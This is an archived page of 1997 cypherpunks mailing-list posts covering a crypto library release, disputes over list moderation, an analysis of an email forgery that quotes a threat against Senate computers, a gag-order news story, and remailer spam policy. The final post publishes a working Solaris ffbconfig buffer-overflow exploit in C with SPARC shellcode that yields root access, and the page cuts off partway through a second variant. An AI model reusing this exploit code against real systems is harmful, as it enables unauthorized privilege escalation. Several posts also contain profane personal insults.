December 2003 - cypherpunks-legacy

LInteger Version 0.2: A C++ MPILIB
by janke＠unixg.ubc.ca 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- LInteger is a set of C++ libraries supporting multiple precision integers. Also included are libraries supporting chain hash functions and pseudo-random number generators. The core multiple precision methods are coded in i386+ assembly language for high speed. The libraries will only compile under GNU's g++ compiler, and have only been tested under the Linux and Windows NT operating systems. It is anticipated that there should not be any problems compiling under Windows '95, however, and that compiling for OS/2 will only require minor hacking, if any. Included as a sample chain hash function is an i386+ assembly implementation of the Secure Hash Algorithm (FIPS 180-1). Included as a sample pseudo-random number generator is an implementation of a pseudo-random number generator described in Section 3.1 of FIPS 186 (the Digital Signature Standard). Complete HTML documentation is provided for all public and protected methods. The package is free for both commercial and non-commercial use. Some of the improvements of this release over version 0.1 include: - Pseudo-random number generation. - Probable prime generation. - Easier constructors. - MontyRep and ResidueClass classes. - ASCII I/O in bases 1 to 36. - Overloading of fstreams operators for storage on persistent media. - Easier exponentiation. - Pentium optimizations for multiplication and squaring. - A square root function (by special request). - 8+3 filenames (by special request). - Various bug fixes and speed improvements (and some slowdowns! :) ) The package is available for download at http://www.interchg.ubc.ca/janke/linteger.html The hashes for version 0.2 are MD5: 61f027957065b88a690def3557956d34 RIPE-MD128: a0e85d5f3429f074b4a4dd4303f829e0 SHA0: b8e65d49ae0ae3ab26741030c8ca03137e16b493 SHA1: c46317ad7e3a9ff38092269b21513dbf68c0e3ef RIPE-MD160: 2ef0f020d1312033af6e6f4aa72466878ef3abe1 -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMv65lDjQF257xHLhAQG+TwQAhLaBP6z3nLKbBKcmSomPPE9G+r1z/tpD 5rA1p9ImwjJZnLAARiywdzH0bXS2n4Yf6jfPOUBZ0FMonNXLfkRJcXIgf0c16+mQ GeX2YYYxRQ+BWcUpzgZBe9y1Y7BJ/I4f0Qbu7jWHn6sOdv+qejxS6+Wos/6vVDoF 3LOfYCyG8Xs= =jnym -----END PGP SIGNATURE-----

1 0

Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

Return-Path: <autoresponder(a)WhiteHouse.gov> Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30]) by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593 for <scndsun(a)inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST) From: autoresponder(a)WhiteHouse.gov Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST) Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST) Message-Id: <199702100124.UAA01520(a)WhiteHouse.gov> X-AutoReplying-To: scndsun(a)inetnebr.com Subject: Re: message to USSA House of Representatives To: scndsun(a)inetnebr.com X-UIDL: f16144392bbe54c5667860b9458f5526 Thank you for writing to President Clinton via electronic mail. Since June, 1993, whitehouse.gov has received over one million messages from people across the country and around the world. Because so many of you write, the President cannot personally review each message. The mail is first read by White House Correspondence staff. Your concerns, ideas, and suggestions are carefully recorded and communicated to the President weekly with a representative sampling of the mail. We are excited about the progress of online communication as a tool to bring government and the people closer together. Your continued interest and participation are very important to that goal. Sincerely, Stephen K. Horn Director, Presidential Email The Office of Correspondence P.S. Please read on - you may find the following information useful. -- This is the only electronic message you will receive from whitehouse.gov. No other message purporting to be from the President or his staff with an address at whitehouse.gov is authentic. If you have received such a message, you have been spoofed. -- You will receive only one autoresponder message per day. -- The only personal addresses at whitehouse.gov are the following: President(a)whitehouse.gov Vice.President(a)whitehouse.gov First.Lady(a)whitehouse.gov Please write to Mrs. Gore and other White House staff by regular mail. The address is: The White House, Washington, D.C. 20500. -- On October 20, 1994, President Clinton and Vice President Gore opened a World Wide Web home page called "Welcome to the White House: An Interactive Citizens' Handbook" and it remains one of the more popular spots on the Web. The White House home page provides, among other things, a single point of access to all government information available electronically on the Internet. "Welcome to the White House" can be accessed at: http://www.whitehouse.gov -- White House documents and publications are available on the World Wide Web (see above) and by email. To receive instructions on retrieving documents by email, please send a message to the following address: publications(a)whitehouse.gov In the body of your message, type "Send Info" (without quotes); do not include other text (such as message headers or signature lines (.sig files)). The instructions will be sent to you automatically. **************************************************************** List of Clinton Administration Accomplishments (three documents compose the whole): To: publications(a)whitehouse.gov Message body: send file 317571 send file 317573 send file 317575 **************************************************************** -- The White House Public Access Email FAQ (Frequently Asked Questions) document is available at the following address. The FAQ, among other things, lists alternate sources of government information, i.e., the Congressional email projects. Send an email message (no text necessary) to: faq(a)whitehouse.gov (This FAQ address is an autoresponder only; any comment sent to this address will not be acknowledged.) ---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

1 0

Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

1 0

Email forgery
by Mark M. 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- This is a very strange forgery. It appears that the attacker used fcaglp.fcaglp.unlp.edu.ar as a relay. This machine is running an old version of HP sendmail that apparently accepts any hostname the user enters after "helo". I tried sending myself fakemail using this site but haven't got a response yet. The interesting thing is that the attacker used the hostname echotech.com and not iquest.net. echotech.com is a real domain so the attacker might have been dumb enough to connect from echotech.com and enter the real origin. Or the SMTP server might just pretend it's fooled and put the real hostname in the received header regardless of what's entered after the helo. I'm not familiar with HP sendmail so I don't know whether this is true or not. On Sun, 9 Feb 1997, Bovine Remailer wrote: > Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST) > From: Bovine Remailer <haystack(a)holy.cow.net> > To: cypherpunks(a)toad.com > > NEW ATTACK ON CP LIST > > > >Date: Sun, 9 Feb 1997 03:55:04 -0500 > >From: Linda Thompson <lindat(a)iquest.net> > >To: robert(a)iquest.net > >Cc: aen-news(a)aen.org > >Subject: URGENT > > > >Someone is sending THREATS to the President and Senate and using *MY* > >name > >and account to do it. One bounced and was sent to me. You should be > >able > >to find out where it came from by the message I.D. I think it is > >EXTREMELY > >important that you find out where this came from!! > > > >Also, earlier in the day, I got a message that I was subscribed by > >"majordomo" to cypherpunks. I did NOT subscribe to cypherpunks and I > >would > >bet that whoever did THAT also sent this message. > > > >Here's the threat message: > > > >Return-Path: <MAILER-DAEMON(a)fcaglp.fcaglp.unlp.edu.ar> > >Delivered-To: lindat(a)iquest.net > >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000 > >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1) > > by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000 > >Received: by fcaglp.fcaglp.unlp.edu.ar > > (1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300 > >Message-Id: <9702090249.AI19659(a)fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: MAILER-DAEMON(a)fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem) > >Subject: Returned mail: User unknown > >To: lindat(a)iquest.net > >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e > >Status: U > > > > ----- Transcript of session follows ----- > >550 xfAA16374: line 6: vice-president(a)whitehouse.gov... User unknown > > > > ----- Unsent message follows ----- > >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP > > (1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300 > >Message-Id: <9702080812.AA16374(a)fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: lindat(a)iquest.net > >Return-Path: <lindat(a)iquest.net> [recipient list deleted] > >Reply-To: lindat(a)iquest.net > >Return-Receipt-To: lindat(a)iquest.net > >Comment: Authenticated sender is <lindat(a)iquest.net> > >Subject: message to USSA Senate > > > >All files on the Senate's computers will be deleted by our > >gang of cypherpunks dedicated to the eradication of your systems. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMv4meizIPc7jvyFpAQFu/ggAoap+9UBSbtitcQuGL3Og5u1nQRJhaviV BJqXC0ZwNBKCEeVQm3HIME47eqB8JVite2YBvyXZbj/QAsFQAEY1k4oJlfn5tCLE w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL nQVHJ447I5B0WVQt42F1Gfcmxh3bPjbZXd8TRKSKjhuBfqum8916dlXso1hB3WaC TSYIHa3R33HmwYA2xtDJ6ZJwtlPF/wPkVIYgbhrt+S6SPGfa+yEUnCE72qceo3eh 1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg== =psFL -----END PGP SIGNATURE-----

1 0

Re: POST: The Frightening Dangers of Moderation
by Jerry Basham 17 Dec '03

17 Dec '03

---------- > From: Dale Thorn <dthorn(a)gte.net> > To: Jerry Basham <2ndSun(a)bigfoot.com> > Cc: cypherpunks(a)toad.com; freedom-knights(a)jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. >

1 0

Indiana judge extends gag order to the Net, from TNNN
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Indiana judge extends gag order to the Net, from TNNN The Netly News Network http://netlynews.com/ Gag On This by Declan McCullagh (declan(a)well.com) February 10, 1997 The point of moving a trial or selecting a jury from a distant county is, of course, to prevent jurors from being influenced by the local media and opinions of the nearby community. But what if the media are global and the community is virtual? That enigma is causing problems for an Indiana couple on trial for reckless homicide in the November 1995 death of their son from meningitis. Bill and Sarah Planck had hoped to demonstrate their innocence through the Net, and so another son created a web site with documents from a counter-lawsuit filed against the county welfare agencies and sheriff's department, detailing how police threatened and intimidated the family. Now the judge presiding over their criminal trial has ordered the Plancks to pull the plug on the site. Madison County judge Fredrick Spencer told me he extended an existing gag order to the Internet because the tort claim notice could influence jurors. "We went two counties away to get the jury. But people in Randolph County have computers and America Online. So to avoid any possible problem, I ordered them to take it off," Spencer said. Spencer says the order was necessary to preserve the integrity of the trial. "It's only the trial that I'm concerned with," he said. "If I don't do what I can, I risk having to do [the trial] over again." Yet as soon as the Plancks yanked the documents offline on January 27, copies sprouted on the web site of a supporter -- beyond the reach of Judge Spencer. Who's right, Spencer or the Plancks? I posed that question to David Post, a professor at Georgetown Law School. "Gag orders may in a way be a thing of the past," he replied. "It becomes an enforcement dilemma with respect to the Internet. It's a hell of a lot easier to enforce that gag order [locally]. You really only have to keep your eye on a very small number of dissemination vehicles," Post said. "Gag orders are violated on occasion, but by and large you have some confidence that they'll be respected. Obviously you can't anymore." Gag orders stem from the right to an impartial jury. "We think that sometimes -- rarely, but sometimes -- that can best be accomplished by controlling the kind of information potential jurors might see. The Net deforms the landscape," Post said. Katharine Liell, the Plancks' attorney, was reluctant to discuss the case for fear of violating the gag order -- which covers her as well. "I'm uncertain what I can and can't say due to the vagueness of the gag order," she said. "Gag orders are supposed to be specific in nature, but I don't understand the nature or breadth of this gag order so I'm not comfortable commenting at this time." The legal question at issue in this prosecution is whether the Plancks are guilty of four felony charges, including reckless homicide and involuntary manslaughter, in the death of Lance Planck from pneumococcal meningitis. The verdict may depend on the answer to one question: Did the Plancks wait too long to call 911? More than the couple, however, is on trial. The case also reveals how a child protection agency can be used as a weapon to threaten parents and divide a family. The mirrored documents tell a sad story of a poor family who lived in a trailer park and home-schooled their eight children, and their long-standing battle with Madison County social workers. The first salvo came in 1992, when a social worker visited the Planck home to investigate the children's alleged vision problems. Based on that visit, a judge ordered that their eyes be examined. A month later, police invaded the Planck home and forcibly removed the children. The tort notice describes other encouters, including tear gas canisters lobbed into their home and warrantless arrests. "I've known the Plancks for a long time," said Brent Tobin, an electrical engineer who mirrored the web site. "I've lived in the town all my life. I know there's nothing going on there. The deputy prosecutor made them out to be religious weirdos, but they're not." "I put up the web site since I don't feel that the county government should have jurisdiction over the World Wide Web. I think there should be freedom of speech. I feel gag orders are a violation of rights," Tobin said. For his part, Judge Spencer emphasized that his gag order "expires at the end of the case. Free speech is an important right and I'm going to be the last person to have a problem with it." What about the mirror site? Has his order accomplished anything? "The Planck supporters are going to put it on there," Spencer replied. "If you're suggesting that I'm tilting at windmills, perhaps you're right." ###

1 0

BCQ B/\ACTb COBKAM!!!
by Secret Squirrel 17 Dec '03

17 Dec '03

COBKU rule!!!

1 0

sci.crypt archive?
by Paul Rubin 17 Dec '03

17 Dec '03

Is anyone on cypherpunks archiving sci.crypt? I'd be interested in getting hold of some articles from some years back... thanks

1 0

Re: Who's Censoring Who?
by John Young 17 Dec '03

17 Dec '03

To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet.

1 0

Interesting Survey on Computer Security
by Derrick Storren 17 Dec '03

17 Dec '03

This artilce has some interesting info on how bad infosec on the web is. <http://www.infowar.com/infosec/introduction.html> ---DS

1 0

ping
by Lucky Green 17 Dec '03

17 Dec '03

ping -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi

1 0

Modified Clipper chip - HA!
by Rick Osborne 17 Dec '03

17 Dec '03

For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere."

1 0

Re: New X-Ray Imager
by Three Blind Mice 17 Dec '03

17 Dec '03

On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice

1 0

Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 03:00 PM 2/10/97 -0800, I wrote: >As of sometime in the last 96 hours I have been forcefully unsubscribed from >this list. This action was not of my free will and not one that I think was ... I forgot to check my mail before sending this. This is not to say that there was mail there, merely that eudora verifies mail by password. Since I had not checked my mail, the last message was unverified. This is to verify it. I sent it, I admit it.

1 0

You guys/gals oughta get a kick outta this guy
by Rick Osborne 17 Dec '03

17 Dec '03

Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s(a)nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course.

2 1

Re: Metzger, Denninger square off
by snow 17 Dec '03

17 Dec '03

> At 01:24 PM 2/7/97 -0500, you wrote: > [the proposed new TLDs] > .web Actually a good idea :) A lot of the .com congestion is > from companies that are virtually-hosted for the sole > purpose of running a Web site with the www. prefix. This one might not work. There are a lot of people who seem to think that you need a www.---.--- to get netscape to work. > .nom Nah. Just not classy enough. Now, a .nym TLD... :-) I think they should use .vain.

1 0

Codebreakers delivered OK
by Peter M Allan 17 Dec '03

17 Dec '03

Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856(a)clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR(a)aol.com. -- Peter Allan peter.allan(a)aeat.co.uk

1 0

Re: Who's Censoring Who?
by Dale Thorn 17 Dec '03

17 Dec '03

John Young wrote: > To Thorn and Cuckoo (great juxtaposition): > Your exhortation and rhetoric are deft, but I'm not ready to take > sides just yet. In fact, I can't figure what the sides are, if any, in this > anti-herd of caterwauling anarchic cats. > Instead, I'm relishing and laughing at the spitting and farting contest, > and hoping this gameboying will prepare for the genuinely tough > battles in high stakes info-wargames. > There, wipe and sniff that exhort and rhet. I don't want to make any suggestions about having a clue or whatever, but just in case you didn't know, John, I'm not censoring anything, nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers to this list. It is all being done by a central "authority". Now you can't figure out who's on what side? Or you just can't decide who to line up with? In case you hadn't noticed, the censorship has been admitted a failure, although the denial from the central "authority" is so thick that some folks on the list will be hoping for Santa to come save them for some time to come.

1 0

Consumer Privacy URL...
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: Consumer Privacy Online In> The January issue of the Computer Law Observer discusses privacy of In> online consumer information. The article is called "Your clickstream In> is showing" and is based upon a report issued by the FTC in January. In> The article can be found under "Current Issue" at In> http://www.lawcircle.com/observer In> There is also an announcement at the site for a new weekly service In> called the Computer Law Observerpro, which provides selected weekly In> articles discussing computer, technology and cyberlaw issues. Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb 32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/ 36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw== =Y0C2 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

1 0

Re: POST: The Frightening Dangers of Moderation
by paul＠fatmans.demon.co.uk 17 Dec '03

17 Dec '03

> You're giong to have to find a way to get me off of your piss-ant mailing > list. Ecouter et repeter: "going" Now, if you didn`t have shit for brains you would have followed the instructions I sent you last time on how to unsubscribe from the cypherpunks mailing list. However, as you evidently have no wit or intelligence whatsoever, nor do you seem able to comprehend anything phrased in standard English here are the instructions in moron. To unsubscribe from the piss-ant motherfuckers mailing list you are giong to have to dooo teh folwoing: Send a piss-ant message to majordomo(a)toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks 2ndsun(a)bigfoot.com Either this or contact postmaster(a)bigfoot.com and ask him to mailkill all mailing list traffic for you. Datacomms Technologies web authoring and data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey"

1 0

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

1 0

Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with.

1 0

Proposal: alt.cypherpunks (unmoderated)
by gbroiles＠netbox.com 17 Dec '03

17 Dec '03

[This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks(a)toad.com) running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control. A sample line for the newsgroups file: alt.cypherpunks Technological defenses for privacy -------------------==== Posted via Deja News ====----------------------- http://www.dejanews.com/ Search, Read, Post to Usenet

1 0

Re: lead remailer is shut down
by Bill Stewart 17 Dec '03

17 Dec '03

At 11:58 AM 2/7/97 -0800, Ed Falk wrote: >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include 